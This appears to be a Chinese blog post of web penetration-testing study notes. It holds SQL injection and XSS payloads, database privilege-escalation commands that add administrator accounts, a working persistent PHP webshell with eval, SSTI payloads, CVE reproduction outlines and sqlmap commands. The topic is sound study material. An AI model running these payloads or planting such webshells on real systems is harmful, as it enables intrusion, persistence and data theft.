tips

什么是Sql注入?

sql注入就是web应用程序对用户的输入过滤不严格,导致攻击者可以将恶意的sql语句拼接到原先写好的Sql语句中,把恶意Sql语句代入到数据库中执行。

Sql注入的种类有哪些?

union联合查询注入、报错注入、布尔时间盲注、堆叠注入、宽字节注入、二次注入。

查当前数据库表名

select table_name from information_schema.tables where table_schema=database() limit 0,1;

字段名

select column_name from information_schema.columns where table_name='user' limit 0,1;

知道表名和字段名,即可查询我们需要的数据

select column_name from table_name;
union联合查询注入

适用于有回显的注入

先判断字段数:order by 1# 
联合查询确定回显点:uinon select 1,2,3#
查数据库:union select 1,database(),3#
报错注入

适用于有MySql报错信息提示的注入

数据溢出报错

mysql<5.5.53

select exp(~(select * from(select user())x))

select (select(!x-~0)from(select(select user())x)a);
Xpath语法错误
select updatexml(1,concat(0x7e,select version(),0x7e),1);
select extractvalue(1,concat(0x7e,select version(),0x7e));
函数特性报错
#几何函数报错注入
geometrycollection()
and geometrycollection((select * from(select * from(select user())a)b))-- + 

linestring()
and linestring((select * from(select * from(select user())a)b))-- +

multipoint()
and multipoint((select * from(select * from(select user())a)b))-- +

polygon
and polygon((select * from(select * from(select user())a)b))-- +

multipolygon()
and multipolygon((select * from(select * from(select user())a)b))-- +

multilinestring()
and multilinestring((select * from(select * from(select user())a)b))-- +
#列名报错注入
name_const()
#虚表主键重复报错注入
floor() + rand() + group by 
布尔型的盲注

适用于对条件真假返回不同响应的注入

and 1=1--+ 正常返回

and 1=2--+ 错误返回

#判断数据库长度
and length(database())=1 --+   and if(length(database())=1) --+
#判断数据库名
and mid(database(),1,1)='s' --+
#判断表名
and mid((select table_name from inforamtion_schema.tables where table_schema=database() limit 0,1),1,1)='u' --+
时间型盲注

适用于页面对于真假条件没有变化,而会因为加入sleep()会使也饿面响应有延迟的情况

使用脚本或者是burpsuit跑

#查询数据库名 如果数据库的第一个字母是d 就sleep(5) ;不是d 就返回1,当返回1时,数据也就将正常
#显示。也就是可以根据数据是否会正常显示来判断你输入的是否正确
and if(substr((select database()),1,1)='d',sleep(5),1)--+
#查询表明
and if(substr((select table_name from information_schema.tables where tabla_schema=database() limit 0,1),1,1)='u',sleep(5),1)--+
堆叠注入

适用于有回显点,一次可以查询多条Sql语句的情况。这种情况都是由于源码中使用了multi_query()函数导致的。

;show databases;#
;show tables;#
;show columns from table_name;#

;handler table_name open
;handler table_name read first;#
宽字节注入

适用于开启了如php_quote_gpc、addslashes,会在单引号前加一个”\“的情况,并且是数据库使用gbk等宽字节字符集。

%df'  ---> %df/' ---> %df%5c%27 ---> 縗'  那么这样的话,单引号既可以使用了

Mysql写入文件

select '<?php eval($_GET['shell']);?>' into outfile 'D:/phpstu/www/3.php' 

Sql注入绕过方式

关键字被过滤

大小写绕过

内联注入绕过

双写关键字绕过

特殊编码绕过 比如16进制

空格被过滤

/**/ 注释加在中间

() 括号括起来

`

tab 换行绕过

过滤and、or、xor、not

and = &&

or =||

xor = | #异或

not = !

过滤=号

like:不加通配符的like的执行效果和=一直,所以可以用来绕过

regexp:mysql的正则匹配

使用id>1 and id<3 来表示 id=2

<> 等价于 !=,那么再加一个! 就相当于=号了

between 1 and 1

过滤大于小于号

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过

greatest(n1, n2, n3…):返回n中的最大值

least(n1,n2,n3…):返回n中的最小值

strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

in关键字

过滤引号

使用16进制

Oracle Sql注入

联合查询注入

order by 猜字段数量,union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型,比如:

union select null,null,null from dual -- 正常
union select 1,null,null from dual -- 正常说明第一个字段是数字型
union select 1,2,null from dual -- 第二个字段为数字时错误
union select 1,'asd',null from dual -- 正常 为字符串 依此类推
查询当前数据库版本
union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual -- 
查询当前数据库
union select 1,(select own from all_tables where rowname=1),null from dual --
union select 1,(SELECT global_name FROM global_name),null from dual -- 
查询当前表名
union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual -- 
union select 1,(select table_name from user_tables where rowname=1),null from dual--+
查询字段
union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual -- 


MySql提权方式

mof提权

在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。

利用条件:root权限、secure-file-priv没有具体的值

即将mof文件(添加admin的代码)上传后,通过查询语句dumpfile写入路径

win2003 win2000

udf提权

要求secure-file-priv没有具体的值,拥有mysql 账号可以insert、delete、写入文件 rooot

将udf.dll文件放到lib/plugin中,

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

mssql、oracle提权

mssql xp_cmdshell()

首先要有sql注入并可以执行命令、sqlserver为system权限

命令执行开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

提权

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组
oracle执行java代码提权

什么是XSS?

xss,跨站脚本攻击。xss产生的原因是在网页中存在可以插入恶意脚本的地方。攻击者通过在网页中插入恶意的js代码,进行攻击。xss会导致盗取cookie、改变网页内容、url跳转等。

XSS种类?

反射型XSS

存储型XSS

DOM型XSS 本质也是一种反射性的xss,dom文本对象模型

XSS的绕过方式

双写绕过

大小写绕过

事件绕过:onclick onmousemove

注释干扰绕过

空格回车tab绕过

编码绕过jother

说几个xss的payload

<script>alert(1)</script>
<a href="javascript:alert(1)">123</a>
<img src="12312" onerror="alert(1)">

CSRF

原理

CSRF是一种对网页的恶意利用,攻击者利用目标的身份,以目标用户的名义执行某些非法操作。起说起来就是通过恶意手段借用目标的身份完成操作。

利用

以目标用户的身份,修改密码、转账、发送邮件、购买商品

防御

加token、referer验证。token安全等级更高,因为referer可以被更改。而token需要在服务端验证

CSRF+XSS组合拳

存储型xss+csrf

先构造一个csrf的poc,通过csrftester,发起的请求是修改密码为123456

然后可以在留言板处构造一个存储型的xss,通过xss发起对修改密码的cstf页面的请求

当其他用户进入留言板后,就会借助其身份请求csrf页面,完成修改密码的操作

csrf

什么是SSRF?

SSRF,服务器请求伪造,就是由攻击者构造请求,由服务器发起请求的漏洞。攻击的目标主要是内网。

服务器由于业务需求需要去访问其他服务器应用获取数据,但是由于过滤限制不严格,攻击者可以利用次缺陷请求内网应用。

SSRF的危害

利用协议dict、file、http进行

探测内网端口,内网应用服务识别。读取本地的文件。内外网应用程序的利用。

如何挖掘ssrf漏洞?

在web功能上寻找

分享(通过url地址分享网页内容)、在线翻译、图片等

在url中寻找参数

url、link、src、u、wap、share

代码查找危险函数

php中有这些函数会存在问题:file_get_contents()、curl_exec()、fsockopen()

SSRF的绕过方式

使用不同进制

当服务端使用的是正则匹配的方式的话可以使用改变ip写法的方式进行绕过。

(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001

利用302跳转,

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

利用短地址

由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。经过测试发现新浪,百度的短地址服务并不支持IP模式,所以这里使用的是

利用@

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://www.baidu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

SSRF防御

禁止302跳转、禁用高危协议dict(file)、在服务器发起请求的点检查返回信息是否合法、设置URL白名单等。

服务器的解析漏洞

Apache

Apache1.x 2.x,如果一个文件的后缀无法解析,就自动向前解析。

Nginx

php cgi.fix_pathinfo=1导致的,向前解析

对于/1.txt/2.php,由于php文件不存在,就会以php解析前面的txt

IIS
IIS5.x-6.x

存在 xx.asp 、xx.asa格式的问件时,其目录下的文件都会被认为是asp文件

服务器默认不解析;后面的内容,也就是 xx.asp;.jpg,会被服务器以asp文件解析

IIS6.0

默认可以执行的asp文件还有 xxx.asa xxx.cer xxx.cdx 都会被iis以asp解析

IIS7.5

由于php cgi配置,对于/1.txt/2.php,由于php文件不存在,就会以php解析前面的txt

文件上传的绕过方式?

绕过前端检查,直接删除对应的js时间即可。

绕过MIME验证,通过burp抓包修改文件的content-type类型即可

%00截断上传,截断上传的原理是,url中的%00表示ascii码中的0,而ascii中的0作为特殊字符保留,表示字符串结束。

绕过一些黑名单正则:大小写、双写、或者是黑名单遗漏的内容。

可以上传一些文件如.htaccess 、.user.ini 来辅助上传getshell

写过什么webshell?

不死马

<?php
    set_time_limit(0);//php脚本限制了执行的时间,set_time_limit(0)设置一个脚本执行的时间为无限长
    ignore_user_abort(1);//ignore_user_absort(1);设置为true时,则忽略与用户的断开,脚本将继续运行
    unlink(__FILE__);//删除自身,删除掉关于脚本的信息,如sleep()时间
    $filepath = './.du.php'; // 文件名加上 . 变成隐藏文件,更难察觉。
    $data = '<?php if(md5($_POST["pass"])=="c8d46d341bea4fd5bff866a65ff8aea9"){@eval($_POST[cmd]);} ?>';
    //连接方式 ?pass=game 密码为cmd
while(1) {
    file_put_contents($filepath,$data)//不断写入shell
    sleep(0);
    //上传完后,访问该php脚本,即可开始生成shell
}

一句话木马

SSTI是什么?

服务端版注入,这个是由于攻击者可以利用本地的模板语法去注入一个恶意的语句,然后服务端在执行修改好的模板的手段。

也就是说用户输入的数据到达服务端不进行任何的过滤就直接拼接到模板中导致的模板注入。

ssti会导致代码执行的漏洞

SSTI的过滤方式

过滤{{}}可以使用{%%}

过滤下划线_,使用16进制编码绕过

过滤点 . 使用attr()或者[]绕过

过滤引号,可以现货区chr,在使用chr() +进行字符串拼接

过滤[],使用getitem()函数绕过

SSTI常用的payload

如果遇到查询基类没有回显的,就使用{%%}来进行一个for循环的判断。

popen('ls').read()

listdir('/')

open()

eval()

CVE-2018-2628

T3通信协议

weblogic反序列化漏洞。Weblogic的7001端口提供了http、snmp、t3协议服务,一个端口复用多个协议。t3协议用过传输序列化对象来进行通信,对传输的数据过滤不够严格导致的反序列化漏洞。

根据t3协议来构造恶意数据进而利用common-collections的反序列化链达到rce的目的。

复现过程

使用vulhub搭建环境,可以访问7001

使用nmap进行端口扫描,看开启了什么端口,有什么服务。发现开启了7001端口,t3协议。

用weblogicscan.py检测一下

借助java反序序列化工具ysoserial,进行一个端口监听,后面会通过和这个端口读取命令。

使用python脚本,发送恶意数据,利用反序列化达到rce的目的。

Tomcat幽灵猫

CVE-2020-1938

tomcat AJP协议存在web目录下的任意文件读取漏洞。当AJP URL设置非jsp路径时,Tomcat会调用DeafaultServlet处理,此时会导致web目录的任意文件读取的漏洞。这个类的最后将他的url中要读取的文件的真实路径放到了一个getsource()方法,将源码输出。

复现过程

在本机搭建了tomcat的服务器。打开tomcat配置文件,server.xml。默认端口是8080。确认打开AJP协议。

使用python脚本,输入要读取的文件路径和ip地址。就可以看到被读取文件的源码了。

CVE-2020-2551

IIOP是一个用来在对象请求代理之间的交流协议。

Apache Shiro

550

Apache Shiro提供了记住密码的功能。用户登录后,就会生成一个加密编码后的cookie。在服务端对rememberMe的cookie的值进行检测,先base64解码,然后AES解密,再进行反序列化。就会造成反序列忽而RCE漏洞。

Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMeCookie值。

特征判断:返回包中包含rememberMe=deleteMe字段。

说一下Sql注入没有任何回显点,如何去做

布尔盲注、时间盲注。

可以使用dns解析,盲注。Mysql中的load_file()函数可以用来读取本地文件,也可以用来对一些URL发起请求。这个时候就可以通过查询语句将查询结果拼接到dns解析的url中,将查询的结果返回到服务器上。他这里就相当于是带上查询结果进行dns查询。

CTF中常见的源码泄露

.git

.svn

.hg

web-inf/web.xml

备份文件泄露:www.zip、rar、sql、txt

Jva

思路流程

信息收集
  1. 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
  2. 网站指纹识别(包括,cms,cdn,证书等),dns记录
  3. whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
  4. 子域名收集,旁站,C段等
  5. google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等
  6. 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
  7. 传输协议,通用漏洞,exp,github源码等
漏洞挖掘
  1. 浏览网站,看看网站规模,功能,特点等
  2. 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
  3. XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

SqlMap的使用

基本的注入命令

sqlmap -u "url" 查询站点是否存在,如果存在注入点会返回网站相关信息如数据库类型

sqlmap -u "url" --dbs 检查当前存在的数据库

sqlmap -u "url" --current-db 获取当前使用的数据库

sqlmap -u "url" --tables -D "db_name" 查询指定数据库的表有哪些

sqlmap -u "url" --columns -T "table_name" -D "db_name" 查询指定表中的字段

sqlmap -u "url" --dump -C "column_name" -T "table_name" -D "db_name"

Cookie注入

sqlmap -u "url" --cookie "cookie" --level 2 --cookie 后面直接接cookie的值

Post参数注入

sqlmap -u "url" --data "username=1" 搜索指定参数

sqlmap -u "url" --forms 自动获取表单的数据

联动Burp

使用burpsuit抓取网页信息后,右键保存为txt文件。

sqlmap -r xxx.txt -p username -r读文件,-p指定post参数

常用指令

--purge

--tables

--dbs

--current-db

--current-user

--level sqlmap默认测试get和post参数,当level大于2时,会测试http cookie头

--risk 执行测试等风险,0-3默认为1,risk越高,越慢但是月安全

--threads 采用多线程,后接线程数

--method "POST" --data "page=1&id=1" 用post方式提交参数

--referer "" 自定义referer,referer欺骗

--user-agent "" 自定义useragnet

--is-dba 判断是否为i数据库管理员

--tamper xx.py 调用tameper脚本

PS点

--sql-shell 数据库交互模式shell

--os-cmd=net user 这里一般是windows的DOS的命令或者linux的命令。

--file-write sqlmap写文件

--file-read sqlmap读文件

--priv-esc 数据库权限提升

phpmyadmin getshell

查询语句直接写入webshell

要求。secure-file-priv没有具体的值,有root权限

select '<?php eval($_GET['shell']);?>' into outfile 'd:/phpstu/www/1.php'

开启全局日志写入webshell

先查询全局日志 show variables like '%general'

更新日志路径

set global general_log_file='d:/php/www/123.php'

通过查询将webshell写入全局日志

select '<?php eavl($_GET[shell];?>' 

通过慢查询日志,mysql会记录所有的慢查询语句,记录在慢查询日志里面。通过修改慢查询日志的位置,再结合慢查询语句进行getshell

CVE-2018-12613

phpmyadmin的db_sql.php页面存在任意文件包含漏洞,可以通过包含mysql的表文件进行一个getshell,创建一个表,字段内容为我们想要包含的php代码,代码内容是生成一个webshell,这样在通过文件包含时执行这个文件,就会在目录下生成一个webshell

CVE-2018-19968

ThinkPhpRCE

Thinkphp中处理请求的类是Request.php,在这个类中的method请求方法的处理。

由于thinkphp支持请求伪装_method,在method()方法中会引发一个变量覆盖,从而导致rce。

所以提交的时候,可以通过post方式提交三个参数

s要执行的命令

_method要进行的函数

以及想要覆盖的属性 filter 。filter中保存了用于全局过滤的函数。

支持的版本 5。0.*

代码执行的函数

eval()、assert()、call_user_func()、array_map()还有一些有调用其他函数的功能。

动态函数也会导致代码执行。php的函数可以直接由字符串拼接。

命令执行的函数

system()、exec()、shell_exec()、popen()、pcntl_exec()、加上反引号``。反引号的本质上是调用shell_exec()函数

变量覆盖的函数

extract()函数 取决于第二参数的参数值

parse_str()函数的作用是解析字符串注册变量

$$ 可变变量导致变量覆盖

逻辑漏洞

注册点

恶意注册、账户遍历

登录点

验证码爆破、验证码可被绕过、验证码短信轰炸

密码找回点

验证码泄露、验证码可绕过、越权修改密码

支付

可以修改数据包中金额

订单数、价格可以修改

posted @ 2021-04-09 20:58  二算i  阅读(93)  评论(1编辑  收藏  举报